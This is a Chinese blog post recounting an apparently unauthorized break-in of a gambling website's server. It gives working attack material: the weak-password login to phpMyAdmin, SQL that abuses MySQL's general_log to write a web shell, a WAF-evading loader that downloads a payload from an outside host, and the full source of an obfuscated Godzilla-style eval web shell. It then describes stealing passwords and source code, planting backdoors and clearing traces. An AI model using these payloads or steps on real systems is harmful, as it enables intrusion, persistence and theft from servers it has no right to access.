实战|简单绕过waf拿下赌博网站

左手的ㄟ右手 2022-10-31 00:37 160阅读 0赞

## 确定目标 ##

![图片][8551817d35bb307086d6367cb3da32af.png]

## 收集信息 ##

x.x.x.x

首先常规测试方法一顿怼，目录扫描，端口扫描，js文件，中间件，指纹识别，反正该上的都上。。。

随手加个路径，报错了，当看到这个界面我瞬间就有思路了

![图片][3e7470aa4a4812e98e507a6d19d5820b.png]

为什么这么说呢，因为之前我就碰见过这样的网站报错，这是一个php集成环境，叫upupw，跟phpstudy是一样的

> upupw  --> pmd
> 
> phpstudy --> phpmyadmin

## 突破点 ##

这个集成环境包也有个phpinfo的页面，跟数据库管理界面

u.php

![图片][608d4da020f0ed237f5811574f6af850.png]

测试一下弱口令

root/root

![图片][e892e071d1815986a5b3381bde3b7cb2.png]

连接成功后就可以看到phpinfo的页面

![图片][cc48e6c1d996d5d5257a965cca591a67.png]

好了现在问题变成phpmyadmin拿shell

![图片][f71bf93cabf05a0b0335fb9848bebd58.png]

## getshell ##

三步拿shell

set global general_log='on';
    SET global
    general_log_file='D:/xxxx/WWW/cmd.php'
    SELECT '<?php assert($_POST["cmd"]);?>';

当执行第三步的时候页面卡在执行中。。。没有反应 瞬间感觉不对，可能存在waf

换了个免杀马试试，先写到txt里边看看成功与否

![图片][5b61933f5ed55fe193a84c51dccf2a36.png]

没有任何问题，下面直接写入php文件

![图片][26cf0a119316b8c660a65772819f0679.png]

可以写入，直接去连接shell

![图片][9fae47c066d871d5b5f8800cf3be0323.png]

果然有waf,当时写入的时候就感觉到了，不免杀的shell，sql语句执行不了

## 绕过waf ##

怼了半天都不知道是什么鬼waf，用下载文件试试  
为了避免拦截php代码的waf，我这里远程下载的脚本是利用JavaScript转写php

SET global general_log_file='C:/Users/Administrator/Desktop/UPUPW_AP5.5_64/htdocs/11.php';
    SELECT '<script language="php"> $a="http://x.x.x.x:81/shell.txt";$b="file"."_g"."et_"."contents";$b = $b($a);file_put_contents("shell.php",$b); </script>'

![图片][961b5c0d1ac84c10b6d9b356de88843e.png]

访问11.php 就会生成shell.php  
这里的shell也是用了哥斯拉的免杀shell

<?php
        session_start();
        @set_time_limit(0);
        @error_reporting(0);
        function E($D,$K) {
            for ($i=0;$i<strlen($D); $i++) {
                $D[$i] = $D[$i]^$K[$i+1&15];
            }
            return $D;
        }
        function Q($D) {
            return base64_encode($D);
        }
        function O($D) {
            return base64_decode($D);
        }
        $P='pass';
        $V='payload';
        $T='3c6e0b8a9c15224a';
        if (isset($_POST[$P])) {
            $F=O(E(O($_POST[$P]), $T));
            if (isset($_SESSION[$V])) {
                $L=$_SESSION[$V];
                $A=explode('|', $L);
                class C{public function nvoke($p) {eval($p."");}}
                $R = new C();
                $R->nvoke($A[0]);
                echo substr(md5($P.$T), 0, 16);
                echo Q(E(@run($F),$T));
                echo substr(md5($P.$T), 16);
            } else {
                $_SESSION[$V]=$F;
            }
        }

![图片][98e262c8320eec18618bcdd30bc183ca.png]

尝试了这么多次

![图片][e13662c0c4742154691fc5f72976c028.png]

![图片][2f0eb6c3a47b1c485c05471443054677.png]

进程里没有waf进程

权限是system

## ![图片][8629673d417bcb7e3628311914634c91.png] ##

## 脱源码 ##

上传抓密码工具，直接获取管理密码,登上服务器

## ![图片][1f6fea9a2ad04fec4d02e877cd2905a8.png] ##

![图片][665897b9f6a47941998ad6bcdfddb098.png]

![图片][3414a7ba73b83f86c569de33fcf77447.png]

## 留后门，清理痕迹 ##

多留几个后门，万一被删

![图片][c7e40e26dfda4dd78de4a624a82ffd35.png]

![图片][a1d6ea97d5e5e1770c7ba3637b5b3bd8.png]

这个网段还有这么多机器

![图片][c8532072cb59b07c23889ebee47f3be5.png]

## 源码 ##

打开源码才发现waf是360webscan

![图片][e57b40aadd8c7ef76ef8b5d73ce3ab26.png]

[8551817d35bb307086d6367cb3da32af.png]: /images/20221024/03d002f0db5d4c3baa316802cc24df2c.png
[3e7470aa4a4812e98e507a6d19d5820b.png]: /images/20221024/673cdeafa0804b63ad1b633834adefbb.png
[608d4da020f0ed237f5811574f6af850.png]: /images/20221024/d87964ea239144bab84e13fac9decd34.png
[e892e071d1815986a5b3381bde3b7cb2.png]: /images/20221024/081eb02c7f654d0bae012238b5c53c2d.png
[cc48e6c1d996d5d5257a965cca591a67.png]: /images/20221024/bf5a9516d45049bb802bef38502ded10.png
[f71bf93cabf05a0b0335fb9848bebd58.png]: /images/20221024/dec23f4076f5477f8e47661bc3c5f7f6.png
[5b61933f5ed55fe193a84c51dccf2a36.png]: /images/20221024/ff2915e30a054c4b81638c61b3f566fa.png
[26cf0a119316b8c660a65772819f0679.png]: /images/20221024/426bbac61720410b9b7580c20202030e.png
[9fae47c066d871d5b5f8800cf3be0323.png]: /images/20221024/f20691673e9a47e7828e0cc150997f57.png
[961b5c0d1ac84c10b6d9b356de88843e.png]: /images/20221024/c9ff4872f7b0458b89659f39ca2d3c22.png
[98e262c8320eec18618bcdd30bc183ca.png]: /images/20221024/3725887b9e28410d909dbc4e034379ae.png
[e13662c0c4742154691fc5f72976c028.png]: /images/20221024/fb83542871a34d4da8bcf83e03eadc57.png
[2f0eb6c3a47b1c485c05471443054677.png]: /images/20221024/7e94a6d0d6d44f01a3310db487a8959a.png
[8629673d417bcb7e3628311914634c91.png]: /images/20221024/663618a52a8d443c9a0a64264ba41660.png
[1f6fea9a2ad04fec4d02e877cd2905a8.png]: /images/20221024/fbc3321c87634fce80934c65b41aa10c.png
[665897b9f6a47941998ad6bcdfddb098.png]: /images/20221024/8513ff3091e040e596057be29bf417fc.png
[3414a7ba73b83f86c569de33fcf77447.png]: /images/20221024/4289d19361e84acd8b00de8f099b5ed4.png
[c7e40e26dfda4dd78de4a624a82ffd35.png]: /images/20221024/2b7a00f046b24494953531e6bc7374c8.png
[a1d6ea97d5e5e1770c7ba3637b5b3bd8.png]: /images/20221024/c706c8b0b9274657b6efe43a765ad87a.png
[c8532072cb59b07c23889ebee47f3be5.png]: /images/20221024/0635bba42782478e924ae02936831087.png
[e57b40aadd8c7ef76ef8b5d73ce3ab26.png]: /images/20221024/4964ffd86f314f4e9634727742b3b939.png